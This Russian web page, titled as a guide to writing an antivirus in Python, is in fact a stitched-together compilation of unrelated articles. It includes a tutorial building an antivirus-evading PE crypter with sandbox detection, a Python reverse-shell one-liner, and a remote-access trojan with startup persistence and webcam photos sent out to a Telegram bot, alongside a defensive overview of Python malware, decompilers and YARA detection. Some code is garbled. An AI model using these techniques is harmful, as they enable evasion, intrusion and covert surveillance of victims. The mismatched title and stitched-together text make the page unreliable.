Как написать антивирус на python

Обновлено: 30.04.2024

Как известно, с помощью python можно решать множество повседневных рутинных задач: периодически создавать резервные копии файлов, отправлять электронные письма, искать и выполнять различные действия с файлами на жестком диске и так далее. Поскольку Python — это язык программирования высокого уровня, на нем также можно писать вирусы. Вредоносное ПО, созданное с помощью ЯВУ, обычно классифицируется как HLLx (High Level Language, x — метод воспроизведения).

Упаковка в бинарники

Поскольку Python является интерпретируемым языком, возникают некоторые трудности с распространением вредоносных программ: для этого требуется, чтобы операционная система имела интерпретатор правильной версии и чтобы все необходимые библиотеки были установлены в правильные места на жестком диске. Все это серьезно влияет на типы программ, которые необходимо устанавливать и запускать самостоятельно. Поэтому вирусы Python, которые стремятся заразить клиентские компьютеры (а также могут заразить серверы), обычно упаковываются в исполняемый двоичный файл, который либо содержит интерпретатор с библиотеками в архиве, либо двоичную программу, основанную на коде Python.

Антивирусные программы могут распознавать шаблоны и типичные структуры вирусов и, следовательно, вычислять вредоносные программы на основе их типичных байтовых последовательностей. Чтобы спрятаться от защиты от вирусов, создатели вирусов сами меняют свой код.При каждой новой установке вредоносная программа переписывает свой код и генерирует все больше и больше вариантов двоичного файла, которые больше не распознаются антивирусным ПО. Этот подход известен как полиморфное кодирование и не может использоваться при работе с кодом Python, который был переведен в двоичный формат. Вредоносное ПО Python, лишенное основных антивирусных инструментов, очень уязвимо даже для самых простых антивирусов.

Как вирус держит связь с хозяином

Вредоносным программам необходимо как-то общаться со своими владельцами, получать от них команды и обновления, а также отправлять им извлеченные данные. Вирусы могут быть только мелкими хулиганами без обратной связи.

Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.

Работа с tor c этой либой проста, не сложнее requests.

Как делать скриншоты из Python

Кража личных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями не для программистов — это легко делается с помощью обычных инструментов Python. Перехватывать нажатия клавиш в ОС сложнее, но вы можете это погуглить. Для работы с веб-камерой — OpenCV. Единственное, что вызывает вопросы, это как делать скриншоты из Python?

Здесь рассмотрим pyscreenshot. Предвидя ваши вопросы, скажу, что внутри библиотеки нет никакого волшебства — она ​​не может читать экранный буфер Python. Этот пакет основан на наборе костылей и аксессуаров, которые определяют тип операционной системы, в которой работает ваша программа, а затем в операционной системе выполняется поиск инструментов, доступных для захвата экрана.

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Токсичность серверов

Бэкдоры Python для серверов также возникают естественным образом. Они тоже способны гадить на вашу систему, но механизмы их работы уже другие.

Например, вирус сервера Python не нужно упаковывать в двоичный файл — многие серверы имеют интерпретатор Python: вы можете запустить его на нем. Поэтому авторы серверных вредоносных программ вместо упаковки кода используют обфускацию — обфускацию исходных кодов, чтобы их нельзя было прочесть.

Одним из самых популярных инструментов обфускации является pyarmor. Одна команда легко превращает ваш код в неразборчивую чушь и затрудняет понимание текста программы. Тема обфускации кода в целом очень интересна. Для того, чтобы углубить свои знания по этой теме, рекомендую ознакомиться с книгой. Pyarmor полезен не только вирусописателям, но и тем, кто по каким-то причинам хочет защитить исходный код от легкого чтения.

Второе, на что следует обратить внимание разработчикам серверных вредоносных программ, — это наличие библиотек.

Итоги

Конечно, написание вредоносных программ на Python — всегда извращение, но если вы действительно хотите, вы можете довести эти поделки до желаемого уровня производительности, положить их на полку и показать всем. К тому же вирус будет кроссплатформенным, и далеко не все крутые вирусописатели могут этим похвастаться :).

Web мы спасли от антивирусов несколько месяцев назад. Это было нетрудно — область относительно новая, не освоенная. С исполнимыми же файлами антивирусы борются уже десятилетиями. Побороть EXE-модуль будет сложнее, но… мы справимся :).

Выпуск 1. Ознакомительный

Ты уже знаешь, что я считаю антивирусы абсолютно бесполезными — хотя бы по той причине, что они помогают только от самых примитивных зверьков, которые в условиях современного денежного малварьбизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого «входного барьера» в этой области мало профессионалов.

И найти хорошего криптора ой как сложно.

Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.

Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!


Выпуск 2. PE-файл

Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.

PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL’ки) и потом передает управление на инструкцию, указанную в поле «Entry Point».

Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.

Выпуск 3. Теоретический криптор

Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:

  1. Служебные данные
  2. Первая кодовая секция
  3. Другие секции с данными

Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.

В результате получится следующая структура:

  1. Служебные данные
  2. Первая кодовая секция
    1. Наша первая программа, которая передаст управление на 4.2
    2. Шифрованный код первой секции
    1. Часть кодовой секции, перезаписанной программой 2.1
    2. Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.

    Выпуск 4. Практический криптор

    Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:

    import pefile
    pe = pefile.PE("putty.exe")

    Теперь, если ты напишешь «print pe», то увидишь подробную инфу обо всех характеристиках файла, по этой инфе я советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:

    Закриптуем первую секцию XOR’ом с ключом «1»:

    Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!

    Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:

    pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)

    Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:

    use32
    mov eax, >
    jmp eax

    Ты, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:

    asm = Template(open("pack.tpl.asm", "r").read()).generate(
    go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
    )
    with open("pack.asm", "w") as f:
    f.write(asm)
    os.system(r"c:fasmwFASM.EXE pack.asm")

    В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:

    new_pack = open("pack.bin", "rb").read()
    pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)

    Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.

    При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:

    copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
    copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
    oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
    asm = Template(open("copy.tpl.asm", "r").read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)

    Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:

    new_copy = open("copy.bin", "rb").read()
    pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
    pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
    pe.write(fi lename="result.exe")

    Выпуск 5. Завершающий

    Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!

    Желательный функционал 1. Обход песочниц

    В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.

    Обязательный функционал 2. Шифрование ресурсов и импорта

    Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.

    Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.

    Обязательный функционал 1. АнтиЭмуляция

    Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.

    Вот тебе такая идейка для реализации:

    Внутренности Антивирусов

    В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.

    К примеру, пусть в антивирусе будут такие сигнатуры:

    • секция с кодом, записываемая +10;
    • после запуска прописывается в авторан +30;
    • вторая секция с именем Zeus +30;
    • меньше 4 энтропия кодовой секции +20;
    • есть сертификат от майкрософта -10.

    Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.

    Как работает pefile

    При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.

    image

    Подавляющее большинство серьезных вредоносов за последние 30 лет были написаны на ассемблере или компилируемых языках, таких как C, C++ и Delphi. Однако за последнее десятилетие приложения подобного рода становится все более разнообразными и, как, следствие, все чаще пишутся на интерпретируемых языках, как, например, на Python. Низкий порог входа, простота использования, высокая скорость разработки и огромная коллекция библиотек сделали Python привлекательным для большинства программистов, включая разработчиков вредоносов. Python становится все более любимым инструментом при создании утилит для троянов, эксплоитов, кражи информации и тому подобного. Поскольку популярность Python продолжает неуклонно расти, а порог входа в монокультуру вредоносов, написанных на C, продолжает оставаться слишком высоким, становится очевидным, что Python все чаще будет использоваться при реализации кибератак, в том числе и при написании троянов разного сорта.


    Рисунок 1: Динамика популярности основных языков программирования за последнее десятилетие

    Времена меняются

    По сравнению со стандартным компилируемым языком (например, C) при написании вредоноса на Python возникает целый ряд сложностей. Во-первых, для интерпретирования и выполнения кода Python должен быть установлен в операционной системе. Однако, как будет продемонстрировано далее, приложения, написанные на Python, могут быть легко сконвертированы в обычный исполняемый файл при помощи различных методов.

    Во-вторых, вредоносы, написанные на Python, обычно большого размера, занимают много память, и, как следствие, требуют больше вычислительных ресурсов. Серьезные же вредоносы, которые можно найти в дикой природе, часто небольшие, незаметные, потребляют мало памяти, и используют ограниченные вычислительные мощности. Образец скомпилированного образца, написанного на C, может занимать около 200 КБ, а сравнимый экземпляр, написанный на Python, после конвертирования в исполняемый файл – около 20 МБ. Таким образом, при использовании интерпретируемых языков ресурсов процессора и оперативной памяти потребляется намного больше.

    Однако к 2020 году и цифровые и информационные технологии сильно продвинулись. С каждым днем интернет становится быстрее, у компьютеров больше оперативной памяти и объемнее жесткие диски, процессоры производительнее и так далее. Соответственно, Python тоже становится все более популярным и уже идет предустановленным в macOS и большинстве линуксовых дистрибутивов.

    Отсутствует интерпретатор? Не проблема!

    Microsoft Windows все еще остается основной целью для большинства атак с использованием вредоносов, однако в этой операционной системе Python не идет установленным по умолчанию. Соответственно, для более эффективного и массового распространения вредоносный скрипт должен быть сконвертирован в исполняемый файл. Существует много способов «скомпилировать» Python. Рассмотрим наиболее популярные утилиты.

    PyInstaller


    PyInstaller умеет преобразовывать Python-скрипты в самостоятельные исполняемые файлы для Windows, Linux, macOS посредством «замораживания» кода. Этот метод является одним из наиболее популярных для преобразования кода в исполняемый формат и широко используется как в легитимных, так и во вредоносных целях.

    В качестве примера создадим простейшую программу «Hello, world!» и преобразуем в исполняемый файл при помощи PyInstaller:

    В результате мы получили портативный, самодостаточный файл в формате ELF, являющийся эквивалентом EXE-файла в Windows. Теперь для сравнения создадим и скомпилируем ту же самую программу на C:

    Обратите внимание на разницу в размерах полученных исполняемых файлов: 7 МБ (Python) и 20 КБ (C)! В этом заключается один из основных недостатков, упоминаемым ранее, касательно размера файла и использования памяти. Исполняемый файл, скомпилированный из Python-кода, намного больше, поскольку внутри исполняемого файла должен присутствовать интерпретатор (как разделяемый объектный файл в Линуксе) для осуществления успешного запуска.

    Py2exe

    Py2exe – еще один популярный метод для конвертирования кода в самостоятельный исполняемый файл в формате EXE. Как и в случае с PyInstaller вместе с кодом идет интерпретатор с целью создания портативного исполняемого файла. Хотя py2exe, скорее всего, со временем перестанет использоваться, поскольку не поддерживает версии после Python 3.4, так как байт код в CPython сильно изменился в Python 3.6 и выше.

    Py2exe использует пакет distutils и требует создания небольшого setup.py для создания исполняемого файла. Как и в предыдущем примере, создадим простейшую программу «Hello, world!» и скомпилируем при помощи py2exe:

    Размер файла примерно тот же самый, что и в случае с PyInstaller (6.83 МБ).


    Рисунок 2: Размер исполняемого файла, созданного при помощи py2exe

    Nuitka

    Nuitka, вероятно, является одним из наиболее недооцененных и в то же время более продвинутым методом для преобразования Python-кода в исполняемый файл. Вначале Python-код переводится в С-код, а затем происходит линковка с библиотекой libpython для выполнения кода в точности так же, как в случае с CPython. Nuitka умеет использовать разные C-компиляторы, включая gcc, clang, MinGW64, Visual Studio 2019+ и clang-cl для конвертирования Python-кода в C.

    Вновь создаем простейшую программу «Hello, world!» и компилируем при помощи Nuitka:

    В этот раз нам удалось создать портативный бинарный файл размером 432 КБ, что намного меньше, чем при использовании PyInstaller и py2exe. Чтобы разобраться, как удалось добиться столь впечатляющих результатов, посмотрим содержимое папки, где происходила сборка:

    Одна строка на Python превратилась в более чем 8 тысяч строк на C. Nuitka работает именно таким образом, когда происходит преобразование Python-модулей в C-код, а затем используется библиотека libpython и статические C-файлы для выполнения, как и в случае с CPython.

    Результат выглядит очень достойно и, кажется, с высокой степенью вероятности Nuitka в качестве «компилятора Python» будет развиваться дальше. Например, могут появиться дополнительные полезные функции, например, для защиты от реверс-инжиниринга. Уже есть несколько утилит, которые легко анализируют бинарные файлы, скомпилированные при помощи PyInstaller и py2exe с целью восстановления исходного кода Python. Если же исполняемый файл создан при помощи Nuitka и код преобразован из Python в C, задача реверс-инженера значительно усложняется.

    Другие полезные утилиты

    Большим подспорьем для вредоносов, написанных на Python, является огромная экосистема пакетов с открытым исходным кодом и репозитариев. Практически любая задача, которую вы хотите реализовать, скорее всего, уже решена в том или ином виде при помощи Python. Соответственно, простые функций авторы вредоносов могут найти в сети, а более сложный функционал, вероятно, не придется писать с нуля.

    Рассмотрим три категории простых, но в то же время полезных и мощных утилит:

    Обфускация кода

    В распоряжении авторов вредоносов, использующих Python, есть множество библиотек для обфускации, чтобы сделать код нечитабельным. Примеры: pyminifier и pyarmor.

    Ниже показан пример использования утилиты pyarmor:

    Создание скриншотов

    Вредоносы, заточенные под кражу информации, часто имеют функцию для создания скриншотов рабочих столов пользователей. При помощи Python этот функционал легко реализовать, поскольку уже есть несколько библиотек, включая pyscreenshot и python-mss.

    Пример создания скриншота при помощи библиотеки python-mss:

    Выполнение веб-запросов

    Например, внешний IP-адрес скомпрометированной системы можно легко получить при помощи библиотеки requests:

    Преимущества функции

    Как правило, встроенная функция eval() считается очень неоднозначной и несет серьезные риски безопасности при использовании в коде. С другой стороны, эта функция очень полезна при написании вредоноса.

    Функция eval() очень мощная и может использоваться для выполнения строк Python-кода внутри скрипта. Эта одиночная функция часто используется для запуска в скомпилированном вредоносе высокоуровневых скриптов или «плагинов» налету при корректной реализации. Схожим образом, во вредоносах, написанных на C, используется движок для Lua для запуска скриптов, написанных на этом языке. Подобный функционал был обнаружен в известных вредоносах, как, например, у Flame.

    Представьте, что группа хакеров удаленно взаимодействует с вредоносом, написанным на Python. Если вдруг группа попала в неожиданную ситуацию, где нужно реагировать быстро, возможность прямого выполнения кода в целевой системе может оказаться очень кстати. Кроме того, вредонос, написанный на Python, мог быть размещен с очень ограниченным функционалом, а новые возможности добавляются по мере необходимости с целью оставаться незаметным как можно дольше.

    Переходим к рассмотрению реальных примеров вредоносов из дикой природы.

    SeaDuke

    SeaDuke – вероятно наиболее известный вредонос, написанный на Python. В 2015-2016 годах Национальный комитет демократической партии (DNC) был скомпрометирован двумя группами, которые многие аналитики приписали к APT 28 и 29.

    Впечатляющий анализ SeaDuke был проведен командой Unin 42 из компании Palo Alto. Также доступен декомпилированный исходный код этого вредоноса. Кроме того, компания F-Secure опубликовала прекрасный документ, где рассматривается SeaDuke и связанные вредоносы.

    SeaDuke представляет собой троян, написанный на Python, который был преобразован в исполняемый файл для Windows при помощи PyInstaller и обработан упаковщиком UPX. Исходный код был обфусцирован с целью затруднения анализа. У вредоноса есть масса возможностей, включая несколько методов для незаметного и долговременного пребывания в Windows, кроссплатформенного запуска и выполнения веб-запросов с целью получения команд и управления.


    Рисунок 4: Образец кода SeaDuke

    PWOBot

    PWOBot также является известным вредоносом, который, как и SeaDuke, был скомпилирован при помощи PyInstaller. Основная активность PWOBot пришлась в период 2013-2015 годов и затронула несколько европейских организаций преимущественно в Польше.

    У PWOBot было множество функций, включая сбор нажатых клавиш, закрепление в системе, загрузку и выполнения файлов, запуск Python-кода, создание веб-запросов и майнинг криптовалют. Прекрасный анализ PWOBot был проведен командой Unit 42 из компании Palo Alto.

    PyLocky

    PyLocky представляет собой программу-вымогатель, скомпилированную при помощи PyInstaller. Основная активность была замечена в США, Франции, Италии и Корее. В этом вредоносе реализовано противодействие запуску в песочнице, получение команд и управление извне, а также шифрование файлов при помощи алгоритма 3DES.

    Хороший анализ PyLocky был сделан специалистами из компании Trend Micro, а аналитикам из компании Talos Intelligence удалось создать расшифровщик файлов для восстановления информации, зашифрованной в системах жертв.

    PoetRAT

    PoetRAT представляет собой троян, целью которого было азербайджанское правительство и энергетический сектор в начале 2020 года. Троян закреплялся в системах и воровал информацию, имеющую отношение к ICS/SCADA системам, управляющим воздушными турбинами.

    Вредонос передавался при помощи Word-документов и содержал массу возможностей для кражи информации, включая скачивание файлов через FTP, съем изображений с веб-камер, загрузку дополнительных утилит, кейлоггинг, работу с браузерами и кражу учетных записей. Специалисты компании Talos Intelligence написали прекрасную статью, посвященную неизвестному деятелю, использующему этот вредонос.

    Ниже показан скрипт, используемый для съема изображений с веб-камер:


    Рисунок 5: Участок кода для съема изображений с веб-камер

    Вредоносы с открытым исходным кодом

    Помимо вредоносов из дикой природы, есть несколько троянов с открытым исходным кодом, как, например, pupy и Stitch. Эти вредоносы демонстрируют, насколько сложным и многофункциональными могут приложения подобного рода. Pupy является кроссплатформенными, выполняется полностью в памяти, оставляет очень мало следов, может сочетать несколько методов для зашифрованной передачи команд, мигрировать в процессы при помощи отраженной инъекции, а также может удаленно загружать Python-код из памяти.

    Утилиты для анализа вредоносов

    Существует множество утилит для анализа вредоносов, написанных на Python, даже в скомпилированном виде. Коротко рассмотрим некоторые из доступных инструментов.

    uncompyle6

    Приемником decompyle, uncompyle и uncompyle2 стала утилита uncompyle6, представляющая собой кроссплатформенный декомпилятор, который может использоваться для преобразования байт кода в исходный Python-код.

    Рассмотрим простейший скрипт «Hello, world!» и выполним в качестве модуля в виде pyc-файла (содержащего байт-код), показанного ниже. Исходный код можно восстановить при помощи uncompyle.

    pyinstxtractor.py (PyInstaller Extractor)

    PyInstaller Extractor может извлекать Python-данные из исполняемых файлов, скомпилированных при помощи PyInstaller.

    В итоге будут получены pyc-файлы, которые можно декомпилировать и восстановить исходный код при помощи uncompyle6.

    python-exe-unpacker

    Скрипт pythonexeunpack.py можно использовать для распаковки и декомпиляции исполняемых файлов, скомпилированных при помощи py2exe.

    Детектирования скомпилированных файлов

    Во время компиляции PyInstaller и py2exe добавляют уникальные строки в исполняемый файл, что значительно облегчает детектирование при помощи YARA-правил.

    PyInstaller записывает строку «pyi-windows-manifest-filename» практически в самом конце исполняемого файла, которую можно наблюдать в шестнадцатеричном редакторе (HxD):


    Рисунок 6: Уникальная строка, добавляемая PyInstaller во время компиляции

    Ниже показано YARA-правило для детектирования исполняемых файлов, скомпилированных при помощи PyInstaller (источник):

    Второе YARA-правило используется для детектирования исполняемых файлов, скомпилированных при помощи py2exe (источник)

    Заключение

    На этом повествование о вредоносах, написанных на Python, заканчивается. Очень интересно наблюдать за изменением трендов по мере роста производительности и упрощения работы с компьютерными системами. Мы, специалисты по безопасности, должны внимательно следить за вредоносами, написанными на Python, иначе могут возникнуть проблемы в тот момент, когда меньше всего ожидаешь.

    Делаем свою крысу. RAT на Python

    Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.

    Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.

    Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.

    Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.

    С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.

    Что можно сделать с помощью netcat:

    Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.

    Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:

    И сам реверс шел на пайтоне:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:

    Создание программы

    Сервер

    Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.

    Импортируем библиотеки и создаем ключевую переменную:

    import socket
    import sys

    s = socket.socket(socket.AF_INET, sock et.SOCK_STREAM)

    Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:

    Usage: python3 reverse_shell_server.py <port>

    Главная функция в которой будет обработчик команд:

    В конце фала пишем это:

    if __name__ == '__main__':
    main()

    Таким образом мы запустим функцию main.

    Клиент

    Нужные переменные и библиотеки:

    import os
    import socket
    import subprocess
    from time import sleep

    Напишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:

    RAT already at startup folder

    Если же файл добавился в автозагрузку:

    RAT added at startup folder

    Функция подключение к серверу:

    s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.

    session() – запустит функцию которую мы сейчас напишем.

    if cmd == 'shutdownrat':
    s.close()
    exit(0)

    Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:

    If cmd == ‘название_команды’

    Функция которую вы хотите выполнять

    Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:

    Функция скачивания файлов:

    Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:

    from requests import post


    try:
    camera_port = 0
    cap = VideoCapture(camera_port, CAP_DSHOW)
    for i in range(30):
    cap.read()
    ret, frame = cap.read()
    imwrite(r"C:\Windows\Temp\screen.jpg", frame)
    cap.release()
    destroyAllWindows()
    photo = open(r"C:\Windows\Temp\screen.jpg", 'rb')
    files =
    post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id del C:\Windows\Temp\screen.jpg")
    except Exception as ex:
    s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

    Ну и в обработчике команд это будет выглядеть следующим образом:

    elif cmd == "webcam":
    try:
    web_cam()
    pwd = os.getcwd()
    s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
    except Exception as ex:
    s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))

    В конце фала пишем это:

    if __name__ == '__main__':
    main()

    Таким образом мы запустим функцию main.

    Заключение

    Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!

    Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:

    Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

    Читайте также: